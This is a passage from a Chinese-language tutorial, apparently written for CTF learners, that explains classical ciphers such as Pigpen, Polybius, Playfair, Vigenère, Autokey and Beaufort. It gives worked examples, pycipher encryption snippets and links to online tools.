解密 &lt;a href=&quot;http://bobao.360.cn/ctf/learning/136.html&quot;&gt;脚本实例&lt;/a&gt;

在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/hill-cipher/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;6猪圈密码&quot;&gt;6.猪圈密码&lt;/h3&gt;
（1）介绍

猪圈密码(Pigpen Cipher或称九宫格密码、朱高密码、共济会密码或共济会员密码)，是一种以格子为基础的简单替代式密码。更多 &lt;a href=&quot;https://en.wikipedia.org/wiki/Pigpen_cipher&quot;&gt;参考&lt;/a&gt;

明文字母和对应密文：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103284368471.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

密文：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103151480465.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

在线加密 &lt;a href=&quot;http://www.simonsingh.net/The_Black_Chamber/pigpen.html&quot;&gt;传送门&lt;/a&gt;

（2）变种

圣堂武士密码(Templar Cipher)是共济会的“猪圈密码”的一个变种，一直被共济会圣殿骑士用。

明文字母和对应密文：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103151584111.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

（3）其他变种

明文字母和对应密文：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103151538620.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文字母和对应密文：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103151669279.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文字母和对应密文：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103151949781.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;h3 id=&quot;7波利比奥斯方阵密码&quot;&gt;7.波利比奥斯方阵密码&lt;/h3&gt;
（1）介绍

波利比奥斯方阵密码（Polybius Square Cipher或称波利比奥斯棋盘）是棋盘密码的一种，是利用波利比奥斯方阵进行加密的密码方式，简单的来说就是把字母排列好，用坐标(行列)的形式表现出来。字母是密文，明文便是字母的坐标。更多 参考

常见的排布方式：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103152160997.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

加密实例：

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

密文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; 442315 4145241325 1242345233 213453 2445323543 442315 31115554 143422&lt;/code&gt;

&lt;h3 id=&quot;8夏多密码曲折加密&quot;&gt;8.夏多密码(曲折加密)&lt;/h3&gt;
（1）介绍

夏多密码是作者麦克斯韦·格兰特在中篇小说《死亡之链》塑造夏多这一英雄人物中所自创的密码，如下图所示：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103152184484.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;注意，在以上所示的字母表密钥的底部，列有四个附加符号1，2，3，4.他们可以放在密文中的任何地方。每个附加符号指示，如何转动写有密文的纸张，再进行后续的加密或解密操作，直到出现另一个附加符号。可以把每个附加符号中的那根线看作是指示针，它指示了纸张的上端朝上，朝右，朝下，朝左。比如说：如果出现符号3，那么纸张就应该转动180度，使其上端朝下； 符号2表示纸张上端朝右，依次类推。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

源文本：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; I AM IN DANGER SEND HELP(我有危险，速来增援)&lt;/code&gt;

密文：
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103152312820.jpg&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;h3 id=&quot;9普莱菲尔密码&quot;&gt;9.普莱菲尔密码&lt;/h3&gt;
普莱菲尔密码(Playfair Cipher)是第一种用于实际的双字替换密码，用双字加密取代了简单代换密码的单字加密，很明显这样使得密文更难破译，因为使用简单替换密码的频率分析基本没有什么作用，虽然频率分析，通常仍然可以进行，但是有25×25=625种可能而不是25种可能，可以分为三个步骤，即编制密码表、整理明文、编写译文，下面我们以
明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG  &lt;/code&gt;和
密钥 ` CULTURE` 
为例来讲解。普莱菲尔密码又称为单方密码(Single Cipher)之后又出现它的升级版Double Playfair，也就是 &lt;a href=&quot;https://en.wikipedia.org/wiki/Two-square_cipher&quot;&gt;二方密码&lt;/a&gt; (Two-square Cipher),在之后又有四方密码(Four-square Cipher)

(1)编制密码表

1.整理密钥字母&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; C U L T U R E &lt;/code&gt;，去掉后面重复的字母得到：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; C U L T R E&lt;/code&gt;

2.用上一步得到的字母自上而下来填补5乘5方表的纵列（也可横排），之后的空白按照相同的顺序用字母表中剩余的字母依次填补完整，得到如下的方格:

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103152478059.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;这一步需要注意的要点：整理密钥字母时，如果出现&quot;Z&quot;，则需要去除，因为在英文里&quot;Z&quot;的使用频率最低，相应的如果是德文，则需将&quot;I&quot;与&quot;J&quot;当作一个字母来看待，而法语则去掉&quot;W&quot;或&quot;K&quot;。
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

(2)整理明文

我们要遵循的原则是“两个一组”，得到是若干个两两成对的字母段，用到的是明文 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG &lt;/code&gt;与字母” X “：

1.将明文两两一组按顺序排开，得到： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO G&lt;/code&gt;

2.对于末尾的单个字母要加上一个” X “使之成对： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO GX&lt;/code&gt;

这一步需要注意的要点：对于相连字母相同者，每个后面都需要加” X “，例如&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; TOMORROW&lt;/code&gt; ，需要写成： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TO MO RX RX OW&lt;/code&gt; 。

(3)编写密文

我们要得到的密文，当然，对于每个字母对，要严格遵循如下的原则：

&lt;ul&gt;
  &lt;li&gt;
    1.如果两个字母在同一行则要用它右邻的字母替换，如果已在最右边，则用该行最左边的替换，如明文为” CE “，依据上表，应替换为” EG “；
  &lt;/li&gt;
  &lt;li&gt;
    2.如果两个字母在同一列则要用它下边的字母替换，如果已在最下边，则用该行最上边的替换，如明文为” OQ “，依据上表，应替换为” PS “；
  &lt;/li&gt;
  &lt;li&gt;
    3.如果两个字母在不同的行或列，则应在密码表中找两个字母使四个字母组成一个矩形，明文占据两个顶点，需用另外两个顶点的字母替换，如明文为” HX “，可以替换为” WI/J “或” I/JW “（下面的例子将按照横向替换原则即同行优先）。
  &lt;/li&gt;
&lt;/ul&gt;

按照上述原则，将明文 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TH EQ UI CK BR OW NF OX JU MP SO VE RT HE LA ZY DO GX&lt;/code&gt; 加以转换得到 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KU ND LH GT LF WU ES PW LH SI/J NP CG CR AG BU VZ QA I/JV&lt;/code&gt; （/表示或者，不过一般用I不用J，所以分析密文时你看25个字母都有而只差一个字母没有用到可以考虑一下这种加密方式）将得到的字母改为大写并五个一组列好，得到密文 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;KUNDL HGTLF WUESP WLHSI NPCGC RAGBU VZQAI V &lt;/code&gt;。

加密解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/playfair/&quot;&gt;传送门&lt;/a&gt; (ps：这里加解密是横向编制密码表)

加密解密实例(ps：这里加解密也是横向编制密码表)：
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Playfair&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Playfair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTREABDFGHIKMNOPQSVWXYZ'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'UKDNLHTGFLWUSEPWHLISNPCGCRGAUBVZAQIV'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Playfair&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTREABDFGHIKMNOPQSVWXYZ'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'UKDNLHTGFLWUSEPWHLISNPCGCRGAUBVZAQIV'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOXIUMPSOVERTHELAZYDOGX'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3 id=&quot;10维吉尼亚密码&quot;&gt;10.维吉尼亚密码&lt;/h3&gt;
（1）介绍

维吉尼亚密码(Vigenère Cipher)是在单一恺撒密码的基础上扩展出多表代换密码，根据密钥(当密钥长度小于明文长度时可以循环使用)来决定用哪一行的密表来进行替换，以此来对抗字频统计，更多 参考 。

密表：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103251647158.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

密钥(循环使用，密钥越长相对破解难度越大)： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CULTURE&lt;/code&gt;

加密过程：如果第一行为明文字母，第一列为密钥字母，那么明文字母’T’列和密钥字母’C’行的交点就是密文字母’V’，以此类推。

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;VBP JOZGM VCHQE JQR UNGGW QPPK NYI NUKR XFK&lt;/code&gt;

（2）已知密钥加解密
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Vigenere&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Vigenere&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTURE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'VBPJOZGMVCHQEJQRUNGGWQPPKNYINUKRXFK'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Vigenere&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTURE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'VBPJOZGMVCHQEJQRUNGGWQPPKNYINUKRXFK'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
在线加密解密 &lt;a href=&quot;http://planetcalc.com/2468/&quot;&gt;传送门&lt;/a&gt;

（3）未知密钥破解

可以参考 &lt;a href=&quot;http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-vigenere-cipher/&quot;&gt;维吉尼亚密码分析&lt;/a&gt; 这篇文章，破解维吉尼亚密码第一步是确定密钥长度，维吉尼亚密码分析这篇文章里介绍了使用 重合指数 算法来确定密钥长度，在确定密钥长度后就可以尝试确定密钥，通常我们可以使用 卡方检验 来找到每个字母的偏移量，基于维吉尼亚密码分析一文中的算法实现的工具破解示例。

密文： ` kiqpbkxspshwehospzqhoinlgapp`

解密：

&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103153159335.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

(ps:结合左边的值，密钥以及解出明文可以确定kien 5或者klen 10为准确的结果)

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DEFEND THE EAST WALL OF THE CASTLE&lt;/code&gt;

（4）变种

有几种密码和维吉尼亚密码相似，格罗斯费尔德密码(Gronsfeld cipher)实际上和维吉尼亚密码相同，除了使用了数字来代替字母以外没有什么区别。数字可以选择一种数列，如斐波那契数列，或者一些其他的伪随机序列。格罗斯费尔德密码密码分析过程和维吉尼亚密码大同小异，不过，自动密钥密码不能使用 卡西斯基算法 (kasiski)来破译，因为自动密钥密码的密钥不重复循环使用，破译自动密钥密码最好的方法的就是从密文不断尝试和猜测其中明文或密钥的一部分。
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103153234937.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Gronsfeld&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Gronsfeld&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'VBPJOZGMVCHQEJQRUNGGWQPPKNYINUKRXFK'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Gronsfeld&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;45&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;43&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'VBPJOZGMVCHQEJQRUNGGWQPPKNYINUKRXFK'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

在线加解密 &lt;a href=&quot;http://rumkin.com/tools/cipher/gronsfeld.php&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;11自动密钥密码&quot;&gt;11.自动密钥密码&lt;/h3&gt;
（1）介绍

自动密钥密码(Autokey Cipher)是多表替换密码，与维吉尼亚密码密切相关，但使用不同的方法生成密钥，通常来说要比维吉尼亚密码更安全。自动密钥密码主要有两种，关键词自动密钥密码和原文自动密钥密码.下面我们以关键词自动密钥为例：

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

关键词： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CULTURE&lt;/code&gt;

自动生成密钥： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CULTURE THE QUICK BROWN FOX JUMPS OVER THE&lt;/code&gt;

接下来的加密过程和维吉尼亚密码类似，从密表可得：

密文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; VBP JOZGD IVEQV HYY AIICX CSNL FWW ZVDP WVK&lt;/code&gt;

（2）已知关键词加解密
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Autokey&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Autokey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTURE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'VBPJOZGDIVEQVHYYAIICXCSNLFWWZVDPWVK'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Autokey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTURE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'VBPJOZGDIVEQVHYYAIICXCSNLFWWZVDPWVK'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/autokey/&quot;&gt;传送门&lt;/a&gt;

（3）未知关键词破解

推荐去看这篇 &lt;a href=&quot;http://www.practicalcryptography.com/cryptanalysis/stochastic-searching/cryptanalysis-autokey-cipher/&quot;&gt;自动密钥密码&lt;/a&gt;分析文章 ，基于文中的算法实现的工具来破解示例。

密文:

&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;isjiqymdebvuzrvwhmvysibugzhyinmiyeiklcvioimbninyksmmnjmgalvimlhspjxmgfiraqlhjcpvolqmnyynhpdetoxemgnoxl&lt;/code&gt;
解密
&lt;img src=&quot;http://blog.neargle.com/SecNewsBak/image/drops/20160711/2016071103153212434.png&quot; alt=&quot;此处输入图片的描述&quot; /&gt;

(ps:从klen 13可以看出使用的关键词为’FORTIFICATION’)

明文：
`
DESPITEBEINGMORESECURETHANTHEVIGENERECIPHERTHEAUTOKEYCIPHERISSTILLVERYEASYTOBREAKUSINGAUTOMATEDMETHODS&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;
将明文转换成可读句子：
&lt;/code&gt;
despite being more secure than the vigenere cipher the autokey cipher is still very easy to break using automated methods`

&lt;h3 id=&quot;12博福特密码&quot;&gt;12.博福特密码&lt;/h3&gt;
（1）介绍

博福特密码(Beaufort Cipher)，是一种类似于维吉尼亚密码的代换密码，由弗朗西斯·蒲福(Francis Beaufort)发明。它最知名的应用是Hagelin M-209密码机。博福特密码属于对等加密，即加密演算法与解密演算法相同。

明文：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

密钥(循环使用，密钥越长相对破解难度越大)：&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt; CULTURE&lt;/code&gt;

加密过程：如果第一行为明文字母，第一列为密文字母，那么沿明文字母’T’列出现密钥字母’C’的行号就是密文字母’J’，以此类推。

密文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JNH DAJCS TUFYE ZOX CZICM OZHC BKA RUMV RDY&lt;/code&gt;

（2）已知密钥加解密
&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;pycipher&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Beaufort&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Beaufort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTURE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'JNHDAJCSTUFYEZOXCZICMOZHCBKARUMVRDY'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Beaufort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'CULTURE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decipher&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'JNHDAJCSTUFYEZOXCZICMOZHCBKARUMVRDY'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;'THEQUICKBROWNFOXJUMPSOVERTHELAZYDOG'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
在线加解密 &lt;a href=&quot;http://www.practicalcryptography.com/ciphers/classical-era/beaufort/&quot;&gt;传送门&lt;/a&gt;

&lt;h3 id=&quot;13滚动密钥密码&quot;&gt;13.滚动密钥密码&lt;/h3&gt;
（1）介绍

滚动密钥密码(Running Key Cipher)和维吉尼亚密码有着相同的加密机制，区别是密钥的选取，维吉尼亚使用的密钥简短，而且重复循环使用，与之相反，滚动密钥密码使用很长的密钥，比如引用一本书作为密钥。这样做的目的是不重复循环使用密钥，使密文更难破译，尽管如此，滚动密钥密码还是可以被攻破，因为有关于密钥和明文的统计分析模式可供利用，如果滚动密钥密码使用统计上的随机密钥来源，那么理论上是不可破译的，因为任何可能都可以成为密钥，并且所有的可能性都是相等的。

明文： &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG&lt;/code&gt;

密钥：选取C语言编程(1978版)第63页第1行”&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;errors can occur in several places. A label has...&quot;&lt;/code&gt;，去掉非字母部分作为密钥(实际选取的密钥很长，长度至少不小于明文长度)。

加密过程：加密过程和维吉尼亚密码加密过程相同

